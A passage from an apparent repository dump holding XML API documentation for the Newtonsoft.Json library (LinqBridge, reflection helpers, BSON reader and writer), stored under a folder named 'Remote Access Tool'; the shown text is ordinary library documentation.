nullable <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Double}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Double\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Nullable{System.Double}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Double}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Double\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min(System.Collections.Generic.IEnumerable{System.Nullable{System.Double}})\">\n            <summary>\n            Returns the minimum value in a sequence of nullable \n            <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Double}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the minimum nullable <see cref=\"T:System.Double\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max(System.Collections.Generic.IEnumerable{System.Nullable{System.Double}})\">\n            <summary>\n            Returns the maximum value in a sequence of nullable \n            <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Double}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the maximum nullable <see cref=\"T:System.Double\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Decimal})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Decimal})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Decimal\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Decimal})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Decimal})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Decimal\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Nullable{System.Decimal}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Decimal}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Decimal\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Nullable{System.Decimal}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Decimal}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Decimal\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min(System.Collections.Generic.IEnumerable{System.Nullable{System.Decimal}})\">\n            <summary>\n            Returns the minimum value in a sequence of nullable \n            <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Decimal}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the minimum nullable <see cref=\"T:System.Decimal\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max(System.Collections.Generic.IEnumerable{System.Nullable{System.Decimal}})\">\n            <summary>\n            Returns the maximum value in a sequence of nullable \n            <see cref=\"T:System.Decimal\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Decimal}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the maximum nullable <see cref=\"T:System.Decimal\" /> value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.LinqBridge.IGrouping`2\">\n            <summary>\n            Represents a collection of objects that have a common key.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Utilities.LinqBridge.IGrouping`2.Key\">\n            <summary>\n            Gets the key of the <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.IGrouping`2\" />.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.LinqBridge.ILookup`2\">\n            <summary>\n            Defines an indexer, size property, and Boolean search method for \n            data structures that map keys to <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> \n            sequences of values.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable`1\">\n            <summary>\n            Represents a sorted sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable`1.CreateOrderedEnumerable``1(Newtonsoft.Json.Serialization.Func{`0,``0},System.Collections.Generic.IComparer{``0},System.Boolean)\">\n            <summary>\n            Performs a subsequent ordering on the elements of an \n            <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable`1\"/> according to a key.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\">\n            <summary>\n            Represents a collection of keys each mapped to one or more values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2.Count\">\n            <summary>\n            Gets the number of key/value collection pairs in the <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2.Item(`0)\">\n            <summary>\n            Gets the collection of values indexed by the specified key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2.Contains(`0)\">\n            <summary>\n            Determines whether a specified key is in the <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2.ApplyResultSelector``1(Newtonsoft.Json.Serialization.Func{`0,System.Collections.Generic.IEnumerable{`1},``0})\">\n            <summary>\n            Applies a transform function to each key and its associated \n            values and returns the results.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2.GetEnumerator\">\n            <summary>\n            Returns a generic enumerator that iterates through the <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.OrderedEnumerable`2.TagPosition(`0,System.Int32)\">\n            <remarks>\n            See <a href=\"http://code.google.com/p/linqbridge/issues/detail?id=11\">issue #11</a>\n            for why this method is needed and cannot be expressed as a \n            lambda at the call site.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.OrderedEnumerable`2.GetFirst(Newtonsoft.Json.Utilities.LinqBridge.Tuple{`0,System.Int32})\">\n            <remarks>\n            See <a href=\"http://code.google.com/p/linqbridge/issues/detail?id=11\">issue #11</a>\n            for why this method is needed and cannot be expressed as a \n            lambda at the call site.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Runtime.CompilerServices.ExtensionAttribute\">\n            <remarks>\n            This attribute allows us to define extension methods without \n            requiring .NET Framework 3.5. For more information, see the section,\n            <a href=\"http://msdn.microsoft.com/en-us/magazine/cc163317.aspx#S7\">Extension Methods in .NET Framework 2.0 Apps</a>,\n            of <a href=\"http://msdn.microsoft.com/en-us/magazine/cc163317.aspx\">Basic Instincts: Extension Methods</a>\n            column in <a href=\"http://msdn.microsoft.com/msdnmag/\">MSDN Magazine</a>, \n            issue <a href=\"http://msdn.microsoft.com/en-us/magazine/cc135410.aspx\">Nov 2007</a>.\n            </remarks>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see 